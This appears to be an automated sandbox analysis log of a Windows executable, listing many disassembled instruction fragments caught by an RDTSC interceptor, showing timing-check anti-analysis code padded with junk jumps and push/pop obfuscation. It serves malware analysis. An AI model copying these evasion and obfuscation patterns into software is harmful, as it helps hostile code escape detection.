Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105C5C second address: 1105C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, 02B8B620h 0x00000011 jmp 00007FE6C4735524h 0x00000016 push dword ptr [ebp+122D1EFEh] 0x0000001c jbe 00007FE6C473551Ch 0x00000022 push EC8C5097h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105C9E second address: 1105CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105CA2 second address: 1105CA8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107587 second address: 11075B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FE6C5005F8Dh 0x00000008 pop edi 0x00000009 jne 00007FE6C5005F8Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FE6C5005F8Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11070AA second address: 11070AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11070AE second address: 11070B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11070B4 second address: 11070E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735529h 0x00000009 jmp 00007FE6C4735524h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110909A second address: 11090A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11090A0 second address: 11090A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11090A4 second address: 11090AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C5005F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0D6F second address: 55B0D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0D73 second address: 55B0DBA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE6C5005F96h 0x00000008 xor cx, 7038h 0x0000000d jmp 00007FE6C5005F8Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test ecx, ecx 0x00000018 pushad 0x00000019 mov ecx, 4EFC9A8Bh 0x0000001e mov eax, 3F185467h 0x00000023 popad 0x00000024 jns 00007FE6C5006005h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0DBA second address: 55B0DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0DC0 second address: 55B0E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 adc al, FFFFFFC8h 0x0000000c jmp 00007FE6C5005F8Bh 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 add eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FE6C5005F97h 0x00000022 or ecx, 3D2A48BEh 0x00000028 jmp 00007FE6C5005F99h 0x0000002d popfd 0x0000002e mov dx, ax 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0E25 second address: 55B0E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0E2B second address: 55B0E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax+00000860h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0E3F second address: 55B0E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0E43 second address: 55B0E5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018AA6 second address: 1018ABB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE6C4735516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FE6C4735516h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D037D second address: 55D0383 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0881 second address: 55C08DA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE6C4735522h 0x00000008 adc cl, 00000038h 0x0000000b jmp 00007FE6C473551Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov ebx, ecx 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx ebx, si 0x0000001d pushfd 0x0000001e jmp 00007FE6C4735528h 0x00000023 or cl, FFFFFFC8h 0x00000026 jmp 00007FE6C473551Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C08DA second address: 55C0944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE6C5005F8Fh 0x00000009 adc cx, 180Eh 0x0000000e jmp 00007FE6C5005F99h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FE6C5005F8Dh 0x0000001f xchg eax, ebp 0x00000020 jmp 00007FE6C5005F8Eh 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007FE6C5005F8Dh 0x0000002f mov bx, ax 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0944 second address: 55C0949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0949 second address: 55C096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 492Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FE6C5005F90h 0x00000011 mov dword ptr [esp], ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C096D second address: 55C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735523h 0x0000000a or ah, FFFFFF8Eh 0x0000000d jmp 00007FE6C4735529h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C09A3 second address: 55C09AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C09AA second address: 55C09F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 pushad 0x00000009 mov si, 21ABh 0x0000000d pushfd 0x0000000e jmp 00007FE6C4735520h 0x00000013 adc ax, 1B38h 0x00000018 jmp 00007FE6C473551Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE6C4735525h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C09F4 second address: 55C09F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C09F9 second address: 55C0A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 7Fh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007FE6C4735524h 0x00000011 nop 0x00000012 jmp 00007FE6C4735520h 0x00000017 push eax 0x00000018 jmp 00007FE6C473551Bh 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0A3D second address: 55C0A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0A41 second address: 55C0A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0A47 second address: 55C0A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0A4C second address: 55C0A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, ah 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE6C473551Ah 0x00000015 or esi, 0B1824B8h 0x0000001b jmp 00007FE6C473551Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0A7A second address: 55C0A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0ACB second address: 55C0AF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C473551Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0AF9 second address: 55C0AFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0AFF second address: 55C0B03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0B03 second address: 55C0B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C01B5 second address: 55C01FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov al, D5h 0x0000000d movsx edx, ax 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007FE6C473551Bh 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE6C4735525h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C01FE second address: 55C0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop esi 0x00000009 mov bh, 83h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0225 second address: 55C025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE6C4735523h 0x0000000a adc ecx, 7F63AB8Eh 0x00000010 jmp 00007FE6C4735529h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C025E second address: 55C030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push FFFFFFFEh 0x00000010 jmp 00007FE6C5005F8Bh 0x00000015 call 00007FE6C5005F89h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FE6C5005F94h 0x00000021 adc ax, 2398h 0x00000026 jmp 00007FE6C5005F8Bh 0x0000002b popfd 0x0000002c mov edi, ecx 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FE6C5005F8Eh 0x00000039 and esi, 56654DF8h 0x0000003f jmp 00007FE6C5005F8Bh 0x00000044 popfd 0x00000045 pushfd 0x00000046 jmp 00007FE6C5005F98h 0x0000004b sbb ax, 2858h 0x00000050 jmp 00007FE6C5005F8Bh 0x00000055 popfd 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C030E second address: 55C0314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0314 second address: 55C0318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0318 second address: 55C031C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C031C second address: 55C0371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE6C5005F93h 0x00000015 or ecx, 68B6ABCEh 0x0000001b jmp 00007FE6C5005F99h 0x00000020 popfd 0x00000021 call 00007FE6C5005F90h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0371 second address: 55C0377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C046C second address: 55C0470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0470 second address: 55C0476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0476 second address: 55C047C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C047C second address: 55C048F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C048F second address: 55C04C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 sub esp, 18h 0x0000000a pushad 0x0000000b mov cl, 15h 0x0000000d call 00007FE6C5005F91h 0x00000012 pop eax 0x00000013 popad 0x00000014 push ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE6C5005F8Fh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C04C1 second address: 55C04D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735524h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C04D9 second address: 55C04DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C04DD second address: 55C0508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007FE6C4735527h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov dx, 3726h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0508 second address: 55C051B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F8Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C051B second address: 55C051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C051F second address: 55C052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C052E second address: 55C0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0532 second address: 55C0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0538 second address: 55C053E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C053E second address: 55C0542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0542 second address: 55C056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FE6C473551Eh 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FE6C473551Dh 0x00000017 pop esi 0x00000018 push edi 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C056E second address: 55C059B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE6C5005F8Ah 0x00000014 and cx, D8B8h 0x00000019 jmp 00007FE6C5005F8Bh 0x0000001e popfd 0x0000001f mov edi, esi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C059B second address: 55C061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735525h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov ebx, ecx 0x0000000d jmp 00007FE6C4735528h 0x00000012 popad 0x00000013 mov eax, dword ptr [769B4538h] 0x00000018 jmp 00007FE6C4735520h 0x0000001d xor dword ptr [ebp-08h], eax 0x00000020 pushad 0x00000021 mov ebx, esi 0x00000023 pushfd 0x00000024 jmp 00007FE6C473551Ah 0x00000029 jmp 00007FE6C4735525h 0x0000002e popfd 0x0000002f popad 0x00000030 xor eax, ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FE6C473551Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C061C second address: 55C0622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0622 second address: 55C0626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0626 second address: 55C0659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007FE6C5005F8Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE6C5005F8Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0659 second address: 55C0680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE6C4735525h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C0680 second address: 55C06C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE6C5005F97h 0x00000008 pop eax 0x00000009 jmp 00007FE6C5005F99h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE6C5005F8Dh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C06C9 second address: 55C06CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C06CF second address: 55C06D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55C06D3 second address: 55C07A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007FE6C4735520h 0x00000016 adc cx, C548h 0x0000001b jmp 00007FE6C473551Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 mov si, di 0x00000025 popad 0x00000026 mov dword ptr [ebp-18h], esp 0x00000029 pushad 0x0000002a mov al, bl 0x0000002c push eax 0x0000002d pushfd 0x0000002e jmp 00007FE6C4735529h 0x00000033 and cx, 9916h 0x00000038 jmp 00007FE6C4735521h 0x0000003d popfd 0x0000003e pop esi 0x0000003f popad 0x00000040 mov eax, dword ptr fs:[00000018h] 0x00000046 jmp 00007FE6C4735527h 0x0000004b mov ecx, dword ptr [eax+00000FDCh] 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007FE6C4735524h 0x00000058 and ecx, 0CCA6F98h 0x0000005e jmp 00007FE6C473551Bh 0x00000063 popfd 0x00000064 movzx esi, di 0x00000067 popad 0x00000068 test ecx, ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FE6C473551Eh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0163 second address: 55B01C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e mov di, ax 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007FE6C5005F95h 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FE6C5005F8Eh 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE6C5005F97h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B01C9 second address: 55B020A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FE6C473551Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 push ecx 0x00000014 movsx edx, cx 0x00000017 pop ecx 0x00000018 mov di, AB8Ah 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B020A second address: 55B020E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B020E second address: 55B0214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B0214 second address: 55B021A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
